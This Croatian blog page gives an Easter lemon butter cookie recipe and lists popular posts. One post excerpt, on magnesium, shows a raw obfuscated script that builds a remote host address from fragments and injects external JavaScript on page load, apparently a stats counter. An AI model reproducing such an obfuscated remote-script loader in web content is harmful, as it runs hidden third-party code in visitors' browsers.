USKRSNI MASLAC KEKSI S LIMUNOM - TOPE SE U USTIMA 🍋





Uskrsni maslac keksi s limunom - tope se u ustima 



Iako Uskrs primarno povezujemo s pincama i makovnjačama, ove godine blagdanski stol ćemo obogatiti i prhkim maslac keksićima od limuna. Naime, uskrsni maslac keksi s limunom savršena su kombinacija tradicije i svježine: prhki, nježni i lagano citrusni, tope se u ustima na prvi griz – točno kako i očekujemo od keksića s maslacem.




Uskrsni maslac keksi s limunom 


Sastojci:

  • 250 g maslaca (sobne temperature)
  • 150 g šećera
  • 1 vanilin šećer
  • 1 jaje
  • naribana korica 1 limuna
  • 1-2 žlice svježeg limunovog soka
  • 400 g glatkog brašna
  • prstohvat soli

Za dekoraciju:

  • 150 g šećera u prahu
  • 2–3 žlice limunovog soka
  • prehrambene boje



Priprema:

  • Najprije u većoj zdjeli pjenasto izmiksajte maslac sa šećerom i vanilin šećerom dok ne dobijete svijetlu i kremastu smjesu. Dodajte jaje, limunovu koricu i limunov sok, pa sve dobro sjedinite.
  • Postupno dodajte brašno i prstohvat soli, miješajući dok ne dobijete glatko, mekano tijesto. Kada se tijesto prestane lijepiti za ruke, oblikujte ga u kuglu, zamotajte u prozirnu foliju i stavite u hladnjak na najmanje 30 minuta. Hlađenje je ključno kako bi se keksi lijepo oblikovali i zadržali formu tijekom pečenja.
  • Ohlađeno tijesto razvaljajte na pobrašnjenoj površini na debljinu od oko 5 mm. Kalupima izrezujte željene uskrsne oblike i pažljivo ih prebacite na lim obložen papirom za pečenje.
  • Pecite u prethodno zagrijanoj pećnici na 180 °C oko 10-12 minuta, odnosno dok rubovi ne poprime lagano zlatnu boju. Pazite da ih ne prepečete, cilj je da ostanu svijetli i prhki.
  • Kada se keksi potpuno ohlade, možete ih ukrasiti jednostavnom limun glazurom. Pomiješajte šećer u prahu s limunovim sokom dok ne dobijete glatku, gustu smjesu. Po želji dodajte nekoliko kapi prehrambene boje i nježno ukrasite kekse – linijama, točkicama ili minimalističkim uzorcima.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više